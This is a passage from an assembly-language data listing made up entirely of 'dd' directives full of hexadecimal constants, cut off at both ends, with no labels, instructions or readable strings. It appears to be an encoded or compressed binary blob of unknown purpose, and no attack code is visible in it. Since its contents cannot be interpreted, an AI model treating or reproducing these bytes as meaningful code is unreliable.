91064B36h, 95093BFEh, 811138BCh dd 0A0F68B5Ch, 0CA8720h, 3E487ADFh, 0EE5D3A3Ch, 0B34E4B03h dd 7F5801FFh, 0AE2500D2h, 75BD732h, 0B200F296h, 0B03680D9h dd 0AE690DCh, 228B78A1h, 8F7900ACh, 1ABFCBA2h, 0A9839F00h dd 0BB9ABD64h, 267A1216h, 0B44409F2h, 3572EB80h, 0B0008B5h dd 25180986h, 0FBEE27h, 5D8E4A58h, 0A11D3CCAh, 49CE5200h dd 503DBCEFh, 88315159h, 39F61BDCh, 0CE0164B6h, 0ADE5A8D5h dd 0F867D55Dh, 801FCC87h, 0AA55959Ah, 0E5C900A8h, 0F9930F4h dd 72B009D0h, 4C10A6B2h, 1373F955h, 99A54600h, 27FCA87Bh dd 420C0088h, 0CC763515h, 0C900622Ah, 0F27C9BADh, 0EF09ADBh dd 6F3370AAh, 0E3E42280h, 0B300266Ch, 49A5F7B9h, 18EE0CDh dd 6270CED5h, 0F476E880h, 3400C49Dh, 61682498h, 7328D8h dd 0C2B10E81h, 980DD2Fh, 146A2260h, 0EA7417B0h, 26FD0E4Dh dd 0A2A137A3h, 0BD054A32h, 5B7002D8h, 0E0C81609h, 77AED0h dd 0D2180B69h, 75A453B4h, 0BE558F00h, 95BDDE3Ah, 0AA60052Ah dd 1DE0826Bh, 1355308h, 92034E16h, 2BDC2032h, 0B8C52700h dd 0C761FFABh, 95150021h, 0E5184C0h, 0AD58D8F4h, 0CD20028Ch dd 0E25DC98Ah, 6604A143h, 9ED8C6BDh, 213F031Dh, 9CE84B06h dd 0E0D57490h, 0FD3E170Ch, 3F868C3h, 0EF288AD7h, 0F9D058AEh dd 0C4B2C75Dh, 68167074h, 1400082Ah, 0D81242FCh, 0A64F0A72h dd 2AA49C28h, 0C6023DE8h, 38DC5499h, 0D988E495h, 0E466ED24h dd 3C5D5803h, 0F021F87Dh, 0BE491D0Ah, 65C4C019h, 0CAF28F17h dd 0FD62E201h, 0AED1920Dh, 17F8020h, 873A25Eh, 0DC25C6BFh dd 4A0041FEh, 87F3DFC2h, 0AA68C8h, 0D339F73Bh, 0D132E6FFh dd 1438A549h, 88802D45h, 7ED28EBCh, 0B8942CA0h, 9EFE8A98h dd 809F4A3Eh, 0B390BC93h, 0F41ED512h, 682B0019h, 785EF0E4h dd 0BE033386h, 9A4010B7h, 160157Eh, 1F167015h, 0E3E800A9h dd 0B9144DAFh, 8500A57Dh, 12F5ABCBh, 58C53FEFh, 6F2C5C56h dd 47700F1h, 0C3A1D453h, 0A4235828h, 0E0F58024h, 0B9341380h dd 479B8Ah, 94FFEE43h, 4B9277F4h, 3DABCE06h, 0E590A85Dh dd 0B3CCF0CFh, 0D832004Ah, 49D0CDD3h, 0AB0C378Fh, 0B0712E85h dd 14191418h, 8E0DD0E5h, 0EC19DF01h, 41076575h, 61DEAB44h dd 8E960C91h, 0F9002433h, 71A33AF2h, 27245879h, 9600B813h dd 6948302Dh, 4A800CB3h, 24B0E187h, 1F9ED200h, 1AC684A2h dd 60B100CDh, 313C12E5h, 0A5065E7Ch, 217C130h, 0F839E6B9h dd 26240B82h, 8802F3Bh, 1B882CC5h, 42540B00h, 9747679Ch dd 3ADEE84h, 0E908C6C2h, 50003ADCh, 0C8E39144h, 7995719h dd 6F7278BCh, 9773F3C6h, 0CD1E70E8h, 58ADB07h, 11A0F1C2h dd 3F6CA2h, 75D0D406h, 25DDCB5Dh, 0D3923Ch, 706EC5E5h dd 0D6CCE6h, 1B49322Eh, 0B1E42CF4h, 2FF86B00h, 4522E305h dd 357210h, 1DFB7279h, 0E103D164h, 0CA6A200h, 2778063Eh dd 0E0677381h, 0FF0400DBh, 0F26558BFh, 7D030CABh, 0D2F94080h dd 0B35A8855h, 0ED0D3E5Bh, 0E67EC500h, 36971D29h, 6A13877Dh dd 0D000EAA3h, 0B1F8DA40h, 418900E5h, 3429FA35h, 1158B3B2h dd 2FDD00CBh, 0BB2618A3h, 814E005Ch, 66FFBFECh, 631CEE88h dd 0F68099C9h, 4758BB85h, 51B60061h, 0A5BA5DF7h, 320B8B77h dd 802F9A3Bh, 0BFF09C70h, 69E20417h, 8001DB22h, 403C09C5h dd 9B939F0Eh, 0EB7940DFh, 692DCCh, 4DAC4410h, 0BBE85F17h dd 183D8F00h, 76DFF874h, 8A6C0953h, 4407C0EBh, 1503000Bh dd 0E775847Fh, 20A04Dh, 828E7E96h, 2C215DFAh, 0CE315AEh dd 0E521051Fh, 775EF900h, 0FE434B4Fh, 0E6DE1E8Ch, 13DC80E3h dd 6F0D54CCh, 9C532600h, 8333503Ah, 0B091006Ch, 40ACEAC8h dd 0B9006625h, 488E51DEh, 1041B2h, 0CBC2C124h, 853634D9h dd 6E19FB1Fh, 0E7C75F40h, 0E47084h, 792B644Ah, 4D30BD77h dd 0B37BEE01h, 7EDF430Fh, 0CB8C20h, 0E361F307h, 0BEE6B5D4h dd 508AD300h, 4408B330h, 2BCC1FCEh, 5F394207h, 0BC40E86Ch dd 0B80E1312h, 9E8DF171h, 347A5B00h, 0FA9369F9h, 23F7089h dd 11D01A76h, 0C8605810h, 3D0FA81Bh, 0CB697823h, 0D10C0187h dd 0A07FE529h, 0F7F8AB16h, 6D92C000h, 0F4B6CC1Bh, 75C20E78h dd 1E295613h, 0EC8964A2h, 0A773A923h, 0D3E9C290h, 0F50D0062h dd 98405706h, 0AB0053A4h, 769BA7F2h, 90DAF72Eh, 28541E19h dd 8F084055h, 6CAA8034h, 0CB00CC98h, 87674A40h, 32356979h dd 8871D0A5h, 4CC95810h, 0E1079CA8h, 371643C1h, 50B7B72Dh dd 0C5D46EAEh, 0E301D272h, 41817AB3h, 0DC4165D1h, 1C21FBC9h dd 42806C73h, 0B018135Ch, 8711DB3Ch, 0E4F127F3h, 0F55305A0h dd 1D8E2C92h, 1C2648h, 683BF7D6h, 8500D00Ch, 1053EE75h dd 1C8D3E3Dh, 0C098B57Dh, 1E51196Fh, 56EAA1E7h, 9A21D89Ah dd 9739018Eh, 0FC7A9BFCh, 8A0F17B6h, 60945A95h, 2D19D71h dd 5D011D03h, 4860D870h, 398915B8h, 0E1018476h, 12326688h dd 0A1942491h, 0A7F0DDEEh, 8B00B472h, 1B35E786h, 59B56CADh dd 9E1FD023h, 1F7440CFh, 0A14A12FEh, 0F4555603h, 0C1D4A9h dd 0F6110548h, 0CB8EC873h dd 0ACA3DE26h, 531A3702h, 0DDAC8564h, 74439780h, 0CA58E1h dd 0A5D220Ch, 2A00D760h, 99EE26A6h, 7A1C3402h, 9DF91E2Ch dd 6AB9407Ch, 0B51340BCh, 1D5C02E2h, 0CC3801C8h, 0B9193DDDh dd 0FCD5F0h, 6090333Ch, 119691A8h, 0DEB15A1Ch, 4D4B55DEh dd 0A5400135h, 87FCB9AAh, 88231244h, 43E01D3Fh, 1758D471h dd 0B11A2009h, 62D8C167h, 76149FE0h, 170B71DFh, 404D3ED6h dd 0C754B404h, 0F002CC1h, 568759FCh, 0B826C009h, 0BD67009Ch dd 0D4EAC350h, 8F27D7B6h, 0CA47614Fh, 0FE86CE20h, 2EA10080h dd 0DC75A2CBh, 0B858A565h, 9C9500E4h, 0C5428733h, 3D7E6E7h dd 5C224CE1h, 4DEA6D27h, 0F5007446h, 0B5DC7260h, 1D1F352h dd 30CBE820h, 208A09B0h, 88017814h, 0F69D21CDh, 6DE46F29h dd 0DB130098h, 6991579Ch, 40161E7Eh, 0A6002B2Eh, 86AC4601h dd 0A41158A2h, 0D1D69500h, 303A4C5Bh, 450F9C00h, 94206BFh dd 0A2E207A5h, 804D1497h, 0E12CB8CAh, 0AA6E5E01h, 0A405C9EEh dd 2EACED8h, 355C4C50h, 446096B8h, 810FFB7Ah, 0E0F61940h dd 0A061B022h, 107E27h, 54AE7292h, 0E34F0FEBh, 52FB8A1Dh dd 84006852h, 0D83AF036h, 2E6C00C8h, 61D914A8h, 0B600AE37h dd 0F4904BDEh, 0B2867Fh, 3343F2DAh, 3E9A3CABh, 0A32BDF03h dd 3E2D951Dh, 208052E8h, 51B86DBFh, 0A9005C2Fh, 0BA63B122h dd 3F4E353Fh, 0E500E4AFh, 7A920BEEh, 6E15F624h, 3C084F40h dd 6A568174h, 0CCC3F081h, 3C7668E8h, 47780F3h, 0EA650DF1h dd 6BC480FDh, 0C8010CAAh, 1AEEBD6Fh, 1DE05530h, 0F72A0901h dd 0D82062F1h, 907E8EE2h, 0DE3AD900h, 7D998027h, 0C2A23F6Ah dd 0ACC94E80h, 0F8C70483h, 8F1E2Dh, 6D449A74h, 0B517003Ch dd 8AB7E52Dh, 4900E6D6h, 0D5C1105Dh, 0A29383h, 0C55A4889h dd 88CF29FBh, 26F4E709h, 36EC804Fh, 0EAFC28Ch, 835674EBh dd 0C11B8605h, 0D44ABF60h, 72EA0D34h, 0F15D7C00h, 62A3C373h dd 7BD269Ah, 0E8320325h, 0C49351A1h, 0BCAB8FB0h, 6523D400h dd 0D284CCB4h, 25F07E0Eh, 14002934h, 0B9A0C299h, 8895A10Bh dd 11A0212Ch, 403476F7h, 0BA1707B2h, 60015083h, 8EC04385h dd 5D6FCA00h, 0C18FA72Ah, 0C9C63BF2h, 0A6A12C00h, 7DCFDF7Eh dd 0B5185B01h, 0D1897868h, 0E6E430h, 0DA936A1Ah, 675C4E0Ah dd 3A009498h, 72AE24C7h, 0B26D47E6h, 15ED0028h, 4C7ABFCFh dd 0F31F9957h, 0AF03228Dh, 0E19F2F05h, 1090234Eh, 24C407B5h dd 20FC06C5h, 0B6221C8Ah, 3A62CFE8h, 2CF62B00h, 209A04C8h dd 2181EA0Dh, 23E0803Bh, 16AC7679h, 0DC20BA0h, 0C0290A24h dd 0E374D13h, 0D5805084h, 0E844C2h, 0BE1A6D4Ah, 829758Eh dd 8897B700h, 190CBF51h, 6D5F0C0h, 9B4E8BDCh, 6D009862h dd 43613C76h, 249736A3h, 3B74D52Fh, 0FCBFE700h, 0E3563015h dd 0B4530900h, 5966A29Bh, 0D2AD072Ah, 11D6D8CBh, 2084DA71h dd 0CD07C77Ah, 2F916B75h, 0FA30D080h, 472F63Eh, 0B4BEB73Dh dd 658815Bh, 0DFC6F0AFh, 86EA337Ch, 1F2D3B00h, 8A374907h dd 4B18C40Ah, 230880EDh, 4E6D73BEh, 31D02038h, 68B75932h dd 4C522900h, 563C6A59h, 48C12E78h, 392A26AFh, 0B60C28BEh dd 4C182CEFh, 8862851h, 414ED6E8h, 2F43481Eh, 306CF70Bh dd 0B6213F08h, 2002BF9h, 5E94EB24h, 0B8FA34D4h, 39062E01h dd 4228034Fh, 1000DB20h, 0BF1536BCh, 0AE07B3h, 0CE6F8950h dd 0A297B667h, 0D6CB3A00h, 0E1339668h, 0EF911C61h, 7AC380B9h dd 85ED1CC1h, 3B7E8A00h, 0D34DCE51h, 5A670064h, 8E980182h dd 6B03260Fh, 939DF344h, 0D8949339h, 0B2E1A0h, 67D1701h dd 0EEE76BC3h, 0B84AA400h, 0B3D7DA7Ch, 0D57C8Ah, 9A22543Dh dd 72857A49h, 3C06F807h, 6E00A4ECh, 0E9B1C4h, 0FB13A604h dd 0CB2B0B1Ah, 21AC08CCh, 30F04CD3h, 54766A03h, 1800AE0Dh dd 3A75F115h, 0BA77E6h, 34812E23h, 0FDC787BBh, 2D11800Fh dd 0A700DFB4h, 3E89C106h, 720B0C05h, 0F1589A46h, 0F60023F6h dd 0C5BB3599h, 6CBA76h, 0C0E7FC19h, 0A31A689h, 0C4717260h dd 605FB42Ch, 22395014h, 0A522AA3h, 3091F268h, 0E23E9F6Ch dd 78270CAEh, 1F98786Dh, 0F076436Eh, 0D8209128h, 0BF01CF72h dd 87FA2812h, 34D02B7Ah, 0FF20C069h, 0BA20CFD1h, 1B17A258h dd 0CA506E99h, 0AEC10003h, 6B40A77h, 0B495D601h, 0FAC02B65h dd 0D9A30197h, 0CBAE018Ch, 9216CC2Eh, 77715500h, 0E9321EF6h dd 21BA00DBh, 0A2A73323h, 443D818Bh, 0A4798B10h, 22A50736h dd 0B33E803Fh, 646C59DAh, 8713080Eh, 0CFB2D0A7h, 0C39FFFD0h dd 8CF0F7C0h, 168FE795h, 0EF2D71h, 958C239h, 6C004E59h dd 5247E596h, 28DAC138h, 0C0EC33CDh, 5AD6DB68h, 42075813h dd 0EEE38D88h, 0F3858050h, 0D130C086h, 5E48FDA5h, 0B300F075h dd 8C1342EFh, 53C428EDh, 109620E8h, 458020F7h, 29B3F383h dd 58144A00h, 0EE3359D5h, 9211019Eh, 945D7FCCh, 3D089804h dd 37CAF9h, 0A55E3E9Eh, 77D00AFBh, 0EC0A99FEh, 24B128B3h dd 2A9EE980h, 867E9492h, 0C93944h, 9CD09E36h, 4AF62592h dd 0FB97321Dh, 54DBEC80h, 0A3588402h, 0A0BF9BB0h, 0C0D4F8C3h dd 56617511h, 1D0C5C3Bh, 95BC737h, 2080FDD2h, 4C542915h dd 830627B1h, 1ADB2590h, 0B78E0299h, 0EC1DF055h, 0BF138C80h dd 1060FF5Fh, 2D12C720h, 48526F23h, 72F07900h, 0A7E2ECB7h dd 0BAD4DE38h, 0D56960A4h, 73FFC8h, 655E687Dh, 0D124E21h dd 404560C4h, 1148EE27h, 0FB614844h, 0A2D1E973h, 6E443058h dd 73C11F19h, 0CC8CC9F5h, 0F1C6ED80h, 20C25D4Dh, 443FEC20h dd 0D5E32048h, 9E24A3Dh, 2FAEC9C4h, 393477Bh, 860F3567h dd 81280A6Ch, 0F2183748h, 0ECB17208h, 4050C49Ch, 4473FA1Eh dd 34100045h, 0E29730BDh, 0EE00D348h, 0D1C3E4D8h, 1013DB6Ah dd 0DAB069h, 0F092B138h, 197D4ED0h, 81E3917h, 62180C0h dd 1A249229h, 3A2B0046h, 7DEF8FD4h, 0A0C8D8FBh, 72F1C036h dd 0E456ECB0h, 0B0BC2AC8h, 73F90300h, 0C3153260h, 23718EBh dd 18D980Fh, 0ABA1183Bh, 950506Bh, 5EE0F7h, 0FF89BFA8h dd 8E21C817h, 0C5F67809h, 0FA54110Bh, 54042E18h, 36C55CEEh dd 1820E832h, 39935416h, 0B78C2782h, 0F9E94322h, 0AE905BE8h dd 0D6CA1F07h, 0F01AF862h, 0D4B65880h, 0EAAF3C65h, 5CBC280Fh dd 173F81Ch, 24FF76ECh, 8A6F5DBEh, 0CC16E719h, 429D1811h dd 6D0F792h, 28FD071Ch, 0F1DCB992h, 22027C03h, 36523F4h dd 8C7D9E3Ah, 9167FEAh, 0CE9E23D6h, 3F3D4083h, 431D9179h dd 0ADC7E8BDh, 0B0518163h, 8C708705h, 0A02707A4h, 0E072DAAAh dd 0E22DDF65h, 80E0712Ah, 0D2495B00h, 7047D975h, 0D60C0057h dd 7168311h, 8000693Fh, 0E0C37736h, 0AF9E1A6h, 0C659BC70h dd 567AC0CCh, 25215C3Ah, 0EEE9135h, 23542214h, 818BD4BBh dd 61EA5E4Dh, 40C24B64h, 9BED6028h, 84D57078h, 956AD8E8h dd 23117039h, 2D73FE80h, 6442FCD1h, 73C41AC0h, 4600813Bh dd 91427E10h, 9823BF17h, 515D326Ch, 3B302A98h, 8C60349Eh dd 0D34C7090h, 0E7019E30h, 5EBBCF3Ah, 0B4514B82h, 9857DEF0h dd 8E270670h, 0F37F0080h, 0F434B4D3h, 1103A6E6h, 9542BF1Dh dd 56700912h, 2029C68Dh, 8841AC0Dh, 87B38B18h, 0B6F580D8h dd 18916948h, 941805D1h, 0A1E0D770h, 0FA17F271h, 8E1FD174h dd 0C740873Fh, 0D7804E8Dh, 1AF8682h, 6530C334h, 86CB0239h dd 643D5849h, 91881FA1h dd 0C07D1FA2h, 84A7C082h, 5C71CE0Ch, 0D3FB4A00h, 7EA7901h dd 96E600C6h, 2D3B8318h, 0BC038C7Ah, 105D237Eh, 818FA105h dd 8CC43820h, 0F0567C02h, 1637555Ch, 54241A16h, 738E8400h dd 1E5C9B17h, 0E6C03D02h, 63F8442Ch, 5C04E810h, 223443F5h dd 181E00E9h, 28706B54h, 0DB63F036h, 0F004FD39h, 506E2D07h dd 8C2EBCFCh, 0F192BA04h, 0EC6256D0h, 1207D4A0h, 20072AFh dd 6DC8475Bh, 2930652h, 885EA2A1h, 0E89FDB09h, 62D5ED08h dd 0B8405387h, 6600A14Ah, 0B3C878E7h, 1DD8E954h, 182FBD35h dd 5E55E1D1h, 0DA819514h, 1242338h, 0D103AF2Ch, 806C3366h dd 6D9264F9h, 28AD1E96h, 7536C021h, 0B25B9BAEh, 5F87CA01h dd 0D8054489h, 0DCCFC044h, 1FC05388h, 54F676A5h, 7A0C025h dd 280B92EBh, 0A98630DFh, 36013789h, 0DA804643h, 4473EA23h dd 0FD002223h, 0C4D12C73h, 2F8085A4h, 0AB4B73CBh, 0C6C905Ch dd 1DF1C82Eh, 0DD3B2079h, 5DB8500Dh, 374DF900h, 0C49D3339h dd 0D974F3h, 18B4939Eh, 26E19623h, 84304E70h, 0EB8B417Dh dd 8A3C1C4Fh, 0F4C1D4ACh, 0EEE24C53h, 22256032h, 9969h dd 6C9930D4h, 0BC018909h, 737286ECh, 23F0DC5Dh, 0B63A013Eh dd 8CDE43D9h, 1B6C301Ah, 0BA8DC00Bh, 0CA8000ACh, 1F83A997h dd 8142D8FAh, 209DD8Ch, 6D93EBC9h, 787BA0AFh, 0B7070F76h dd 32F27D8Dh, 6064A622h, 1D7218h, 30F073DCh, 1A41DD88h dd 0FCB10F07h, 2FD01E8Eh, 7B5BF8F9h, 5D6C0060h, 98F048CCh dd 0BCB13F9Ch, 638DFC00h, 0FE46D3h, 8F92CDBFh, 0D91F34C5h dd 2657C101h, 50306044h, 1D5C7C0h, 1BD7512Ch, 0CCE16A5Eh dd 1126C5F0h, 3200EE4Fh, 18845994h, 2B37003Eh, 0CE26602Fh dd 0EC004135h, 9812EAA0h, 0E5D0A3Fh, 61831411h, 89F35480h dd 0C2CCD652h, 0C014072h, 14E2DFB5h, 0FD062F81h, 79BE27F2h dd 0C9E101F8h, 0D2B4DFBFh, 0A8C280D5h, 0E303D430h, 3E19006Ah dd 0ED2CC61Fh, 3A00CB01h, 1DADFB2Bh, 61A68FFh, 1C811BB7h dd 310008DFh, 784D5E5Bh, 22BB58h, 0E4962C10h, 209CEC69h dd 9B40CC60h, 1E08554Fh, 4C7C452Eh, 0AE085D19h, 0A0401B6Fh dd 34ABD744h, 64230052h, 49EC8F9h, 940ECC6Ah, 81E6502Ah dd 139B9931h, 0A974EE8Eh, 701FA180h, 0B700911Ah, 0CB67F5Ch dd 0CBADA2h, 0DA99D521h, 0C35D48E9h, 40C08E77h, 0BAFA1CBBh dd 0C00F6004h, 0F87A179Ch, 81A9E439h, 985E22F2h, 5BCC6DAEh dd 187B0039h, 1E2B3E6h, 0D10230F6h, 4609DE1Bh, 7F34C094h dd 497A1C44h, 0AAA140B0h, 0F7C41DFCh, 66550716h, 0E3C0E600h dd 0CA3010h, 2AFFD14Ah, 580F20EFh, 7B68800h, 0BB84EC71h dd 4C6403A1h, 23799106h, 0BCCA73E8h, 36EF48h, 0B3814107h dd 0AE6CE7h, 9D280E19h, 0F96BDD12h, 9CD3B400h, 96FD8F75h dd 62840033h, 74305A2Eh, 2900F5F1h, 0E9D7F89Dh, 30A663B6h dd 0CF4008A5h, 0D800B26Ch, 0D002FDD4h, 639E78h, 72A0FA38h dd 6B7D3477h, 0D6FB4200h, 121FA87Fh, 0C978D82Bh, 0D71CBEBDh dd 0D5DBC5D2h, 1618BEAEh, 31059Dh, 9F1C386Fh, 8C6283Bh dd 20D448h, 77311DFBh, 27496CB2h, 29B5BB1Dh, 46160A7Ah dd 0FF00AC90h, 0DE92DA0Ah, 883E03A2h, 8BE615F3h, 80BDCCA1h dd 99F2DF20h, 1B10FEB4h, 399779EFh, 80EDC1A1h, 523850A1h dd 0CC4BBCh, 0D98D4210h, 0F1BF8B93h, 1FD720C0h, 768966D2h dd 0EB870C78h, 1C08DF70h, 0B0509360h, 3B176625h, 2F0095ACh dd 408F4AA2h, 71019474h, 0C4537A84h, 8058D4D7h, 0DF31041Ch dd 32127024h, 14E620B4h, 0D9387431h, 0AE8E008Fh, 5DAAC627h dd 51D370BBh, 0CD416044h, 3C44D5Bh, 95720005h, 0E2656A4Bh dd 7F0013E9h, 0BBC0E6B5h, 2274D7h, 93837D3Ch, 66FFEAB7h dd 0A10604E8h, 0A6C7AABh, 167804D1h, 8014D61Bh, 8AFB5C00h dd 0FEEA4907h, 7260F583h, 0C0D32FBEh, 173BBA20h, 6F53F603h dd 0FF848420h, 51A8C560h, 0CF83E06h, 0C9D343h, 0D050DDF7h dd 0A67FC258h, 7E74B2ECh, 2D21DB60h, 39AF53D6h, 0CFA63E5Ah dd 0B8D90E6Ch, 380F92Bh, 9CB9D0D7h, 38A1A707h, 6A70F1C3h dd 635902h, 0E5D4820Ah, 26D27DB5h, 0E80F1718h, 3AFAA0h dd 6FDB2AF8h, 65791C44h, 90DA2B2Ah, 0E6DF00A8h, 589F1503h dd 0E030C5D6h, 0C0F35BA1h, 0DF652540h, 0E0C6B629h, 83F96341h dd 1E60ACF8h, 2410C531h, 0B2C81C20h, 3116F880h, 24801AB5h dd 31981E25h, 83F59B50h, 0EF5A9469h, 0C86AC8F1h, 594F0085h dd 7827F8F0h, 0C6B00735h, 0FFD63Dh, 0E31ED879h, 5D98Ah dd 91CD8DDDh, 45AD6A32h, 65692707h, 0AE17A92Ch, 34EF7150h dd 4F3E138Ah, 0C21C54h, 0EDC37312h, 4A2699D1h, 0EE006123h dd 5C2784A5h, 3B060028h, 0F8CC7AC3h, 33EE6610h, 0F64239h dd 43FE705Ah, 1EB23761h, 8006B016h, 0D055A382h, 3A07BC7Fh dd 0FE8176D3h, 0E89BDBE0h, 15470051h, 86B21D66h, 791C7467h dd 386EADh, 0F9100F9Ah, 6B9849h, 9B4885ABh, 6AACD6C5h dd 0F00410D1h, 0C2952F3Bh, 0C35A3310h, 4AB6A980h, 84006173h dd 0F80F9304h, 3383249Ah, 0E828F70Eh, 300FF692h, 48489084h dd 0F91F4317h, 7C925111h, 21B5C211h, 708A1F7Bh, 608BF629h dd 894A1080h, 0D1D9104Fh, 0ABEC3FD8h, 45B19680h, 63E4D0C5h dd 0BA9B1F00h, 1EDEE36Ah, 708F0037h, 449FCD58h, 43074791h dd 0B0084D60h, 2F3D4880h, 384C00A1h, 576B637h, 7A1C1092h dd 1B802B5Ch, 0BD5F60EBh, 0A1D50730h, 0F5EFD4ACh, 6794804Ah dd 200029B7h, 1FEC61BEh, 0C77C80h, 909F5428h, 0F13B26A5h dd 0D051A900h, 12A05E04h, 64860B09h, 0C8005542h, 9EFAC06Eh dd 723E5C7Fh, 0FBD88076h, 0F8FD7C94h, 21A00312h, 2B5DBD65h dd 0E88476D8h, 90DD8A8h, 0A835AA00h, 0C120FCC5h, 961703FAh dd 56E771E0h, 40059FD8h, 0FB21DE03h, 9E8562h, 0F6C8D310h dd 0C3EE7797h, 0DD023000h, 0D6BFB724h, 0EA6F008Fh, 558927E2h dd 3B00E8B2h, 3AE4DC20h, 2CD74D69h, 289A59FBh, 0B88D2818h dd 5F2400A8h, 0F1AF343Ah, 16007C8Ah, 53F66603h, 0E107ABh dd 8E9EA1D9h, 71ED9950h, 0B2E608C0h, 26576F9Ch, 0C3F9BAh dd 39C05F2Fh, 0C9161E6Ch, 8E0340E3h, 0C8C11AFBh, 734C8Fh dd 9FAD5C05h, 8B070919h, 9CE7AB03h, 0F077EE57h, 1E4E8F50h dd 32B108h, 0F22DFC85h, 0E0006664h, 173D02A6h, 1BA5AD2h dd 904854DFh, 0D45F0777h, 8765627h, 6FEA73Bh, 4D731F45h dd 78C10070h, 721828DCh, 0DA1EAD23h, 0A85C7D16h, 4F7FD4C3h dd 0C800B5A6h, 44F12201h, 0BE7C0041h, 0E8CA4218h, 723F58FCh dd 0C6BCD5A3h, 4188BDE0h, 0D547500h, 182A3C49h, 6B7300F5h dd 173481CCh, 0CFF0F459h, 648B048h, 0F76218AAh, 4CFAEC20h dd 0DD0040F3h, 765A1A90h, 9AF22265h, 0A0080849h, 0EE750B06h dd 0D66D0FA1h, 68415EE2h, 20652FB9h, 81046E38h, 0AFC0CFB2h dd 39E76300h, 0EA262FD2h, 56000082h, 36ADDD18h, 0B04090A8h dd 324300A2h, 7CEC6417h, 20005F50h, 5B94DAE6h, 3EB2318h dd 8C02C181h, 84B8FD3Fh, 9AA0136Dh, 54005296h, 0A01ADB1Eh dd 9D2C7Ah, 2A0DB5A5h, 0D0073AFCh, 8761FF18h, 772BE0h dd 0A9E5AA2Dh, 155889B6h, 0DE3D2800h, 33798362h, 59350C0Ah dd 7430CED7h, 68E57F0Ch, 8411C7h, 1179F92Bh, 0CAE157B6h dd 610731B0h, 0CE9684Eh, 40017F70h, 0DF030127h, 0D741043Fh dd 2DC5ECA6h, 25D4400h dd 6F82AEB0h, 0AFFF0161h, 37861F1Dh, 0F64820A3h, 0AA445200h dd 6D2404B9h, 0A9710A75h, 199410ECh, 0E8607E37h, 5500BFE9h dd 0C88E9326h, 0B69A4Ah, 80D84291h, 3845075Eh, 9CB14E0Ch dd 0D4D80Eh, 35A7C126h, 0DF649866h, 0BBC59900h, 4007F295h dd 4BF100C7h, 253CD4FEh, 3D0069E7h, 4852832Bh, 0A3B747Ah dd 7E2C0E77h, 72D400B0h, 0D7FE5863h, 71E3D00h, 0D1FF09BDh dd 0B06D005Ah, 8ECE522Ch, 3B0081ADh, 2D94BE49h, 4F9F421Ah dd 0CDA8F5h, 7D7B8D65h, 6A1251h, 2ED87DBh, 6E0B794Ch, 0EAF87100h dd 6FFBD937h, 0B0D5027Eh, 0F23C8090h, 0A605C680h, 0F4E1B942h dd 0C10BAF50h, 51DEBDh, 7344C53Ch, 49D400E9h, 8F87EA42h dd 8C03FBDBh, 0CD9C439Ah, 32A18146h, 0D3B7C0h, 613BBBFAh dd 0B67A2880h, 50F1400h, 6C9AD81h, 43E0185h, 35D85C4Bh dd 0DC3DD545h, 0FD1215F0h, 8C40CE82h, 0A8B37F08h, 0F22C03E2h dd 9E21D3E4h, 0DFC9A800h, 9F57FFF5h, 3EC108A9h, 7A005063h dd 95B81065h, 0F8BF382Bh, 64324001h, 0F2DD596Bh, 0C08BB061h dd 0CD905DA2h, 0B0347E24h, 6CE09A00h, 98539307h, 195760FCh dd 0C4FA5AF3h, 0A7021770h, 0B9611EC3h, 0C6C060EBh, 0E35B50A5h dd 2F7800A4h, 0AA0B7119h, 48096EBFh, 80ABE754h, 415F1D3Ch dd 504274C7h, 0F498B134h, 0A11A0640h, 387A0B6Ch, 0DD193E00h dd 0A3B36001h, 2A401F1Bh, 0B8BCC066h, 0AC231689h, 0D6195B00h dd 14E7C873h, 12DA00AAh, 13033441h, 160099B0h, 47838545h dd 984F7D1Dh, 0AF8F00C2h, 68DC32C2h, 600A2FEh, 0AEDD220Ch dd 5E89ABh, 867BF6AAh, 3E75590Ah, 7CA45C50h, 3880404Dh dd 1600F033h, 64BF2CF8h, 962E032h, 4E3EFE1Bh, 0A0DCEF87h dd 0A10F4E1h, 18CAAC00h, 2FAE501Fh, 0F8B0D8h, 860C74CFh dd 790B785Bh, 59D4BD00h, 0D2204BBCh, 8020F789h, 2FB0C8h dd 468AC401h, 0F7512564h, 21A01D30h, 0A8F420h, 54EADAA5h dd 0C0E74070h, 53D45D07h, 5CE0A32Fh, 2F1D636h, 0B65BDAC4h dd 1C600CCDh, 7F0CB044h, 100D9C8Dh, 62380136h, 7DCA511Dh dd 0D5F570D8h, 0AEFD8D03h, 53D0A7h, 0AFCEB929h, 0FE222C16h dd 65737D00h, 3BE31B0Bh, 0FF8BFh, 9793E055h, 5488017h dd 743A6300h, 0CF4736C3h, 58EA000Fh, 211891F0h, 613C2708h dd 579700E0h, 7AC65292h, 0E434034Fh, 1F4BCB01h, 2A7BECD8h dd 120077ECh, 0E6E052DEh, 1D196FA5h, 40AA7AF0h, 0F8CCA6C4h dd 0C000056Ch, 0E4A86B59h, 3CE3732Bh, 0CE80625Fh, 0C68EDCFCh dd 0C100E057h, 87BC31A1h, 0F87645h, 0D4AAD3C0h, 2A5A7E63h dd 0D8EC1600h, 53374FD7h, 0DC1C0047h, 598ED2E7h, 5A07D649h dd 4B5F84F6h, 0B498EA80h, 68390050h, 1A44A4Dh, 300910Ah dd 0CEFB4E9Dh, 0F8528A3h, 0C5FA3318h, 7DEF8A0h, 0EA07C921h dd 3CCEA947h, 93350F90h, 74E8A5h, 8166B3FEh, 3D42B260h dd 0FFC8CA00h, 1C155149h, 1FB70772h, 1AB4A8BDh, 905300B9h dd 5F3337CDh, 0BBA03C00h, 0C0E94402h, 0A37848h, 0E069886Fh dd 71C2FF14h, 0EA527B00h, 0EF160256h, 3EF007ACh, 501B1027h dd 83A1D376h, 0EB059C07h, 5590024Dh, 26DC0Dh, 2E6A4EA9h dd 6814E58Ch, 57DFD303h, 0C0EB863Ch, 111D0EEh, 181A15F4h dd 61C5E14Bh, 0D1D8F735h, 8409FEB4h, 722B7Ch, 0BCA1EA00h dd 0A05C0180h, 6E14734Bh, 94E18029h, 66880BC8h, 0DFA91EB2h dd 0EC3180A4h, 0F38F2105h, 139FDA01h, 2253E56Dh, 0C543AC40h dd 76500069h, 0F8B6A24Ah, 9A009834h, 0E009E966h, 8C372Ch dd 8E675E03h, 365A1BB0h, 8B4C3Fh, 0D3CBE6B8h, 2C98493Ah dd 2F3C22h, 0FAFF2E18h, 0E004E28h, 6BC81E3Fh, 1660716h dd 0A0E07315h, 429FB843h, 33614794h, 0E0F5D110h, 0D8C1830Ch dd 1D468D53h, 31002826h, 631B072Fh, 9F00D182h, 27DAF690h dd 75C3076h, 600B6F3Ah, 2356A06Eh, 2803C338h, 